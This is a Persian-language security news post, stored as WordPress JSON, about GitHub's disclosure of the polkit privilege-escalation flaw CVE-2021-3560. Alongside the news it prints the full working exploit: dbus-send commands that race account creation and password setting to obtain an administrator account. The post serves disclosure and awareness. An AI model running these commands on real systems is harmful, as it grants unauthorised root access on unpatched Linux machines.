{"id":11966,"date":"2021-06-14T21:24:00","date_gmt":"2021-06-14T16:54:00","guid":{"rendered":"https:\/\/liangroup.net\/blog\/?p=11966"},"modified":"2021-06-14T21:26:57","modified_gmt":"2021-06-14T16:56:57","slug":"github-security-lab-discloses-linux-vulnerability","status":"publish","type":"post","link":"https:\/\/liangroup.net\/blog\/github-security-lab-discloses-linux-vulnerability\/","title":{"rendered":"\u06af\u06cc\u062a\u200c\u0647\u0627\u0628 \u062c\u0632\u06cc\u06cc\u0627\u062a \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062e\u0637\u0631\u0646\u0627\u06a9 \u062f\u0631 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0631\u0627 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"11966\" class=\"elementor elementor-11966\" data-elementor-post-type=\"post\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-3513500 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"3513500\" data-element_type=\"section\" data-e-type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-0a637d2\" data-id=\"0a637d2\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-d97d93c elementor-widget elementor-widget-text-editor\" data-id=\"d97d93c\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p style=\"text-align: justify;\">\u0647\u0641\u062a\u0647\u200c\u06cc \u06af\u0630\u0634\u062a\u0647 \u06af\u06cc\u062a\u200c\u0647\u0627\u0628 \u062c\u0632\u06cc\u06cc\u0627\u062a \u06cc\u06a9 <strong><u><a href=\"https:\/\/liangroup.net\/blog\/what-is-vulnerability\/\">\u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc<\/a><\/u><\/strong> \u062f\u0631 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0631\u0627 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f \u06a9\u0647 \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0642\u0627\u0628\u0644 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0632 \u0633\u0631\u0648\u06cc\u0633 polkit \u0646\u0634\u0623\u062a \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f\u060c \u0648 \u0628\u0627 \u0628\u0647\u0631\u0647\u200c\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0622\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0631\u0627 \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u0647\u062f\u0641 \u062a\u0627 \u0633\u0637\u062d root \u0628\u0627\u0644\u0627 \u0628\u0631\u062f.<\/p><p style=\"text-align: justify;\">\u0627\u06cc\u0646 \u0646\u0642\u0635 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0634\u062f\u062a \u0628\u0627\u0644\u0627 (high severity) \u062f\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0634\u062f\u0647 \u0648 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2021-3560 \u0634\u0646\u0627\u062e\u062a\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0648 \u062f\u0631 \u0633\u0631\u0648\u06cc\u0633 polkit \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u062f. polkit \u06cc\u06a9 \u0633\u0631\u0648\u06cc\u0633 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647\u200c\u0635\u0648\u0631\u062a \u067e\u06cc\u0634\u200c\u0641\u0631\u0636 \u062f\u0631 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u062a\u0648\u0632\u06cc\u0639\u200c\u0647\u0627\u06cc \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f.<\/p><p style=\"text-align: justify;\">\u0627\u06cc\u0646 \u062d\u0641\u0631\u0647\u200c\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u062a\u0648\u0633\u0637 Kevin Backhouse\u060c \u0639\u0636\u0648 \u0622\u0632\u0645\u0627\u06cc\u0634\u06af\u0627\u0647 \u0627\u0645\u0646\u06cc\u062a \u06af\u06cc\u062a\u200c\u0647\u0627\u0628\u060c \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a. \u0631\u0648\u0632 \u067e\u0646\u062c\u0634\u0646\u0628\u0647\u060c \u0627\u06cc\u0646 \u0645\u062d\u0642\u0642 \u062f\u0631 \u06cc\u06a9 <span style=\"text-decoration: underline;\"><strong><a href=\"https:\/\/github.blog\/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug\/\">\u067e\u0633\u062a \u0628\u0644\u0627\u06af<\/a><\/strong><\/span> \u062c\u0632\u06cc\u06cc\u0627\u062a \u06cc\u0627\u0641\u062a\u0647\u200c\u0647\u0627\u06cc \u062e\u0648\u062f \u0631\u0627 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f \u0648 \u062f\u0631 \u0648\u06cc\u062f\u0626\u0648\u06cc\u06cc \u0639\u0645\u0644\u06a9\u0631\u062f <span style=\"text-decoration: underline;\"><strong><a href=\"https:\/\/liangroup.net\/blog\/what-is-exploit\/\">\u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a<\/a><\/strong><\/span> \u0631\u0627 \u0646\u0634\u0627\u0646 \u062f\u0627\u062f.<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-68c9c77 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"68c9c77\" data-element_type=\"section\" data-e-type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-357e8b0\" data-id=\"357e8b0\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-08231ea elementor-widget elementor-widget-html\" data-id=\"08231ea\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"html.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div id=\"8354556419\"><script type=\"text\/JavaScript\" src=\"https:\/\/www.aparat.com\/embed\/3aZsH?data[rnddiv]=8354556419&data[responsive]=yes&data[title]=%D8%A7%D8%B1%D8%AA%D9%82%D8%A7%DB%8C%20%D8%AF%D8%B3%D8%AA%D8%B1%D8%B3%DB%8C%20%D8%AF%D8%B1%20%D9%84%DB%8C%D9%86%D9%88%DA%A9%D8%B3%20%D8%A8%D8%A7%20%D8%A7%DA%A9%D8%B3%D9%BE%D9%84%D9%88%DB%8C%D8%AA%20%D8%A2%D8%B3%DB%8C%D8%A8%E2%80%8C%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C%20%D8%AF%D8%B1%20polkit%20(%D8%B2%DB%8C%D8%B1%D9%86%D9%88%DB%8C%D8%B3%20%D9%81%D8%A7%D8%B1%D8%B3%DB%8C)&&recom=none\"><\/script><\/div>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-2635103 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"2635103\" data-element_type=\"section\" data-e-type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-9061bb7\" data-id=\"9061bb7\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-45e9afe elementor-widget elementor-widget-text-editor\" data-id=\"45e9afe\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p style=\"text-align: justify;\">\u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0644\u0648\u06a9\u0627\u0644 \u0628\u0627 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u0639\u0645\u0648\u0644\u06cc \u0648 \u063a\u06cc\u0631 privileged \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0646\u0642\u0635 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0628\u0631\u0627\u06cc \u0628\u0627\u0644\u0627\u0628\u0631\u062f\u0646 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u062e\u0648\u062f \u062a\u0627 root \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u062f\u061b \u0622\u0646 \u0647\u0645 \u0641\u0642\u0637 \u0628\u0627 \u0648\u0627\u0631\u062f \u06a9\u0631\u062f\u0646 \u0686\u0646\u062f \u0641\u0631\u0645\u0627\u0646 \u062f\u0631 \u062a\u0631\u0645\u06cc\u0646\u0627\u0644.<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-76d8a54 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"76d8a54\" data-element_type=\"section\" data-e-type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-3c15ca1\" data-id=\"3c15ca1\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-c3ee3d1 elementor-widget elementor-widget-text-editor\" data-id=\"c3ee3d1\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p style=\"text-align: left;\"><code>dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply \/org\/freedesktop\/Accounts org.freedesktop.Accounts.CreateUser string:boris string:\"Boris Ivanovich Grishenko\" int32:1<br \/><\/code><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-b102bbb elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"b102bbb\" data-element_type=\"section\" data-e-type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-1a179a2\" data-id=\"1a179a2\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-27288b1 elementor-widget elementor-widget-text-editor\" data-id=\"27288b1\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p dir=\"ltr\" style=\"text-align: left;\"><code>dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply \/org\/freedesktop\/Accounts org.freedesktop.Accounts.CreateUser string:boris string:\"Boris Ivanovich Grishenko\" int32:1 &amp; sleep 0.007s ; kill $!<br \/><\/code><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-59458ca elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"59458ca\" data-element_type=\"section\" data-e-type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-fd5b703\" data-id=\"fd5b703\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-d3a760e elementor-widget elementor-widget-text-editor\" data-id=\"d3a760e\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p dir=\"ltr\" style=\"text-align: left;\"><code>openssl passwd -5 iaminvincible!<\/code><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-5868415 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"5868415\" data-element_type=\"section\" data-e-type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-c999968\" data-id=\"c999968\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-86cc8a2 elementor-widget elementor-widget-text-editor\" data-id=\"86cc8a2\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p dir=\"ltr\" style=\"text-align: left;\"><code>dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply \/org\/freedesktop\/Accounts\/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf\/QSfQUlATmWuuB' string:GoldenEye &amp; sleep 0.008s ; kill $!<\/code><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-264444d elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"264444d\" data-element_type=\"section\" data-e-type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-e247908\" data-id=\"e247908\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-a48126c elementor-widget elementor-widget-text-editor\" data-id=\"a48126c\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p style=\"text-align: justify;\">\u0648\u062c\u0648\u062f \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0648\u06cc \u0628\u0639\u0636\u06cc \u0627\u0632 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc <strong><a href=\"https:\/\/access.redhat.com\/security\/cve\/cve-2021-3560\">\u0631\u062f\u0647\u062a<\/a>\u060c <\/strong>\u0641\u062f\u0648\u0631\u0627\u060c <strong><a href=\"https:\/\/security-tracker.debian.org\/tracker\/CVE-2021-3560\">\u062f\u0628\u06cc\u0627\u0646<\/a><\/strong> \u0648 <strong><a href=\"https:\/\/ubuntu.com\/security\/CVE-2021-3560\">\u0627\u0648\u0628\u0648\u0646\u062a\u0648<\/a><\/strong> \u062a\u0627\u06cc\u06cc\u062f \u0634\u062f\u0647 \u0627\u0633\u062a. \u0633\u0648\u0645 \u0698\u0648\u0626\u0646 \u06cc\u06a9 \u067e\u0686 \u0628\u0631\u0627\u06cc CVE-2021-3560 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f.<\/p><p style=\"text-align: justify;\">\u0622\u0642\u0627\u06cc \u0628\u06a9\u200c\u0647\u0627\u0648\u0633 \u062f\u0631 \u0627\u06cc\u0646 \u0628\u0627\u0631\u0647 \u06af\u0641\u062a\u0647 \u0627\u0633\u062a: <em>\u00ab\u0628\u0627\u06af\u06cc \u06a9\u0647 \u0645\u0646 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0645 \u06a9\u0627\u0645\u0644\u0627 \u0642\u062f\u06cc\u0645\u06cc \u0628\u0648\u062f. \u0627\u06cc\u0646 \u0628\u0627\u06af \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u0647\u0641\u062a \u0633\u0627\u0644 \u067e\u06cc\u0634 \u0628\u0627 \u06a9\u0627\u0645\u06cc\u062a <\/em><em>bfa5036<\/em><em> \u0628\u0647 \u0648\u062c\u0648\u062f \u0622\u0645\u062f\u0647 \u0648 \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u0628\u0627 \u0646\u0633\u062e\u0647 0.113 \u0627\u0632 <\/em><em>polkit<\/em><em> \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0628\u0627 \u0627\u06cc\u0646 \u0648\u062c\u0648\u062f\u060c \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u067e\u0631\u0637\u0631\u0641\u062f\u0627\u0631\u062a\u0631\u06cc\u0646 \u062a\u0648\u0632\u06cc\u0639\u200c\u0647\u0627\u06cc \u0644\u06cc\u0646\u0648\u06a9\u0633 \u062a\u0627 \u0647\u0645\u06cc\u0646 \u0627\u0648\u0627\u062e\u0631 \u0646\u0633\u062e\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0631\u0627 \u0627\u062c\u0631\u0627\u06cc\u06cc \u0646\u06a9\u0631\u062f\u0647 \u0628\u0648\u062f\u0646\u062f.\u00bb<\/em>.<\/p><p style=\"text-align: justify;\">\u0627\u06cc\u0646 \u06a9\u0627\u0645\u067e\u0648\u0646\u0646\u062a \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u060c \u06cc\u0639\u0646\u06cc polkit\u060c \u06cc\u06a9 \u0633\u0631\u0648\u06cc\u0633 \u0633\u06cc\u0633\u062a\u0645\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0628\u0631\u0627\u06cc \u06a9\u0646\u062a\u0631\u0644 \u0645\u062c\u0648\u0632\u0647\u0627 \u062f\u0631 \u0633\u0637\u062d \u0633\u06cc\u0633\u062a\u0645 \u0637\u0631\u0627\u062d\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0627\u0645\u06a9\u0627\u0646 \u062a\u0639\u0627\u0645\u0644 \u067e\u0631\u0648\u0633\u0633\u200c\u0647\u0627\u06cc non-privileged \u0631\u0627 \u0628\u0627 \u067e\u0631\u0648\u0633\u0633\u200c\u0647\u0627\u06cc privileged \u0631\u0627 \u0628\u0647 \u0648\u062c\u0648\u062f \u0645\u06cc\u200c\u0622\u0648\u0631\u062f.<\/p><p style=\"text-align: justify;\">\u0622\u0642\u0627\u06cc Backhouse \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0631\u0627 \u0627\u06cc\u0646 \u06af\u0648\u0646\u0647 \u062a\u0648\u0635\u06cc\u0641 \u0645\u06cc\u200c\u06a9\u0646\u062f: \u0633\u0631\u0648\u06cc\u0633\u06cc \u06a9\u0647 \u0646\u0642\u0634 \u06cc\u06a9 \u0642\u0627\u0636\u06cc \u0631\u0627 \u062f\u0627\u0631\u062f\u060c \u0648 \u062a\u0635\u0645\u06cc\u0645 \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f \u0627\u06a9\u0634\u0646 \u0634\u0631\u0648\u0639\u200c\u0634\u062f\u0647 \u062a\u0648\u0633\u0637 \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 \u2013 \u0628\u0647 \u062e\u0635\u0648\u0635 \u0627\u06a9\u0634\u0646\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062f\u0633\u062a\u0631\u0633\u06cc\u200c\u0647\u0627\u06cc \u0628\u0627\u0644\u0627 \u062f\u0627\u0631\u0646\u062f \u2013 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0645\u0633\u062a\u0642\u06cc\u0645\u0627 \u0627\u062c\u0631\u0627 \u0634\u0648\u062f\u060c \u06cc\u0627 \u0628\u0647 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0627\u0636\u0627\u0641\u0647\u060c \u0645\u0627\u0646\u0646\u062f \u0648\u0627\u0631\u062f\u06a9\u0631\u062f\u0646 \u067e\u0633\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u062f.<\/p><p style=\"text-align: justify;\">\u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a\u200c\u06a9\u0631\u062f\u0646 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647\u200c\u062a\u0627\u0632\u06af\u06cc \u06a9\u0634\u0641\u200c\u0634\u062f\u0647 \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0627\u0645\u06a9\u0627\u0646 \u067e\u0630\u06cc\u0631 \u0627\u0633\u062a \u0648 \u062a\u0646\u0647\u0627 \u0628\u0647 \u0686\u0646\u062f \u062f\u0633\u062a\u0648\u0631 \u062f\u0631 \u062a\u0631\u0645\u06cc\u0646\u0627\u0644 \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u062f. \u0628\u0627 \u0627\u06cc\u0646 \u0648\u062c\u0648\u062f\u060c \u0628\u0647 \u062e\u0627\u0637\u0631 \u0627\u06cc\u0646 \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0634\u0631\u0627\u06cc\u0637 \u0645\u0646\u0627\u0633\u0628 \u0628\u0631\u0627\u06cc \u0645\u0648\u0641\u0642\u06cc\u062a \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u062f\u0642\u06cc\u0642\u0627 \u0645\u0647\u06cc\u0627 \u0628\u0627\u0634\u062f\u060c \u0645\u0639\u0645\u0648\u0644\u0627 \u0645\u0647\u0627\u062c\u0645 \u0628\u0627\u06cc\u062f \u0686\u0646\u062f \u0628\u0627\u0631 \u062a\u0644\u0627\u0634 \u06a9\u0646\u062f \u062a\u0627 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0645\u0648\u0641\u0642 \u0628\u0627\u0634\u062f.<\/p><p style=\"text-align: justify;\">\u0645\u0646\u0628\u0639: securityweek.com<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-9bd2f94 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"9bd2f94\" data-element_type=\"section\" data-e-type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-c065783\" data-id=\"c065783\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-1703ce9 elementor-widget elementor-widget-text-editor\" data-id=\"1703ce9\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p style=\"text-align: center;\"><strong>\u0628\u0647 \u062c\u0627\u0645\u0639\u0647 \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a \u0628\u067e\u06cc\u0648\u0646\u062f\u06cc\u062f!<\/strong><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-1e5a4e7 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"1e5a4e7\" data-element_type=\"section\" data-e-type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-bb0164b\" data-id=\"bb0164b\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-00fae47 elementor-button-info elementor-align-center elementor-widget elementor-widget-button\" data-id=\"00fae47\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"button.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<div class=\"elementor-button-wrapper\">\n\t\t\t\t\t<a class=\"elementor-button elementor-button-link elementor-size-sm\" href=\"https:\/\/academy.liangroup.net\/training-course\/web-pentest-package\" target=\"_blank\">\n\t\t\t\t\t\t<span class=\"elementor-button-content-wrapper\">\n\t\t\t\t\t\t\t\t\t<span class=\"elementor-button-text\">\u062f\u0648\u0631\u0647 \u062c\u0627\u0645\u0639 \u0627\u0645\u0646\u06cc\u062a \u0648\u0628<\/span>\n\t\t\t\t\t<\/span>\n\t\t\t\t\t<\/a>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<div class=\"elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-8781ba4\" data-id=\"8781ba4\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-6ff2c7d elementor-button-info elementor-align-center elementor-widget elementor-widget-button\" data-id=\"6ff2c7d\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"button.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<div class=\"elementor-button-wrapper\">\n\t\t\t\t\t<a class=\"elementor-button elementor-button-link elementor-size-sm\" href=\"https:\/\/academy.liangroup.net\/training-course\/security-job-preparation-package\" target=\"_blank\">\n\t\t\t\t\t\t<span class=\"elementor-button-content-wrapper\">\n\t\t\t\t\t\t\t\t\t<span class=\"elementor-button-text\">\u062f\u0648\u0631\u0647 \u062c\u0627\u0645\u0639 \u0628\u0627\u0632\u0627\u0631 \u06a9\u0627\u0631 \u0627\u0645\u0646\u06cc\u062a<\/span>\n\t\t\t\t\t<\/span>\n\t\t\t\t\t<\/a>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>\u0647\u0641\u062a\u0647\u200c\u06cc \u06af\u0630\u0634\u062a\u0647 \u06af\u06cc\u062a\u200c\u0647\u0627\u0628 \u062c\u0632\u06cc\u06cc\u0627\u062a \u06cc\u06a9 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0631\u0627 \u0645\u0646\u062a\u0634\u0631 